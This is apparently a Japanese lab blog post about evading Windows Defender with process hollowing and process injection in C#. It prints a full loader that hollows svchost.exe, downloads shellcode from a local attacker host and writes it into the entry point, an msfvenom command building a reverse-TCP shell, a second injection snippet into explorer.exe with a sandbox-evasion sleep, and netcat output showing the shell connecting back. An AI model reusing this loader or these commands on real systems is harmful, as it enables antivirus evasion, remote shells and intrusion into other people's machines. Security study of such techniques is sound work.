見出し画像

#91 Process Hollowing

 引き続き、Windows Defenderの回避を試みます。Process Injectionに似たテクニックですが、Process Hollowingやってみました。

 Process Injectionは、プロセスの空きメモリにコードを展開して実行しますが、Process Hollowingは、プロセスの処理自体を書き換えてしまいます。リバースシェルは、外部との通信を行うので、svchostのような外部通信をよく行うプロセスをハイジャックすることで、あやしさを打ち消します。

 では、やってみましょう。

Process Hollowing

Process Hollowingの流れ

 まず、CreateProcessでプロセスをサスペンド状態で立ち上げます。コードを書き込む位置を特定するために、ZwQueryInformationProcessReadProcessMemoryでプロセスのメモリを読み取ります。そして、WriteProcessMemoryでプロセスにコードを書き込み、ResumeThreadによってプロセスを開始します。

 C#でのプログラムは、以下のようになります。

using System;
using System.Runtime.InteropServices;
using System.Threading;

namespace ProcessHollowing
{
    class Program
    {
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int16 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, 
            ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint ResumeThread(IntPtr hThread);


        public static int Main()
        {
            STARTUPINFO startup_info = new STARTUPINFO();
            PROCESS_INFORMATION process_info = new PROCESS_INFORMATION();
            bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref startup_info, out process_info);
            
            PROCESS_BASIC_INFORMATION basic_info = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            IntPtr hProcess = process_info.hProcess;
            ZwQueryInformationProcess(hProcess, 0, ref basic_info, (uint)(IntPtr.Size * 6), ref tmp);

            IntPtr hBase = (IntPtr)((Int64)basic_info.PebAddress + 0x10);

            byte[] addr = new byte[IntPtr.Size];
            IntPtr nRead = IntPtr.Zero;
            ReadProcessMemory(hProcess, hBase, addr, addr.Length, out nRead);

            IntPtr svchost = (IntPtr)(BitConverter.ToInt64(addr, 0));
            byte[] data = new byte[0x200];
            ReadProcessMemory(hProcess, svchost, data, data.Length, out nRead);

            uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
            uint opthdr = e_lfanew + 0x28;
            uint entrypoint = BitConverter.ToUInt32(data, (int)opthdr);
            IntPtr ep_address = (IntPtr)(entrypoint + (UInt64)svchost);

            string url = "http://192.168.164.130/tmp/shell";
            byte[] buf = new System.Net.WebClient().DownloadData(url);

            WriteProcessMemory(hProcess, ep_address, buf, buf.Length, out nRead);

            ResumeThread(process_info.hThread);

            return 0;
        }

    }
}

リバースシェルは、msfvenomで生成します。kaliでHTTPサーバーを立ち上げ、ダウンロードするようにしました。

$ sudo msfvenom -p windows/x64/shell_reverse_tcp rse_tcp LHOST=192.168.164.130 LPORT=443 -f raw -o /var/www/html/tmp/shell


実行してみましたが、やっぱりブロックされました。

Process Hollowingの処理の流れから見破られているのでしょうか。dllが隔離されてしまったようです。Process Injectionのときはこんなのでませんでした。


Windows Defenderを解除すれば、ちゃんとリバースシェルできます。

$ nc -lnvp 443                                                                                                            
listening on [any] 443 ...
connect to [192.168.164.130] from (UNKNOWN) [192.168.164.129] 50787
Microsoft Windows [Version 10.0.19045.3324]
(c) Microsoft Corporation. All rights reserved.

C:\Users\kusa\Projects\ProcessHollowing\ProcessHollowing\bin\Release\net6.0>


Process Injection Again

 リバースシェルをダウンロードする方式でProcess Injectionしてみます。ついでに、サンドボックス回避のため、10秒スリープしておきます。

static void Main(string[] args)
        {
            Thread.Sleep(10);
            IntPtr handle = OpenProcess(0x001F0FFF, false, 4908); // explorer.exeのPID
            IntPtr addr = VirtualAllocEx(handle, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            string url = "http://192.168.164.130/tmp/shell";
            byte[] buf = new System.Net.WebClient().DownloadData(url);

            IntPtr outSize;
            WriteProcessMemory(handle, addr, buf, buf.Length, out outSize);
            IntPtr hThread = CreateRemoteThread(handle, IntPtr.Zero, 0, addr,IntPtr.Zero, 0, IntPtr.Zero);
        }

すると、どうでしょう。リバースシェル成功しました!

$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.164.130] from (UNKNOWN) [192.168.164.129] 50855
Microsoft Windows [Version 10.0.19045.3324]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
desktop-aarhhn0\kusa

Windows側では、大量のアラートとともに、explorer.exeのプロセスがキルされてしまいましたが、シェルは生きています。やった!


まとめ

 長きに渡る戦いに決着がつきました。Windowsに標準装備のWindows Defenderですが、かなり厳しくウイルスチェックしてくれているとわかりました。研究すればもっとスマートな回避策があるかもしれません。また、その回避策も明日には対策されてしまうかもしれません。厳しい世界です。

ほかのアンチウイルスソフトも試してみたいですね。

EOF

この記事が気に入ったらサポートをしてみませんか?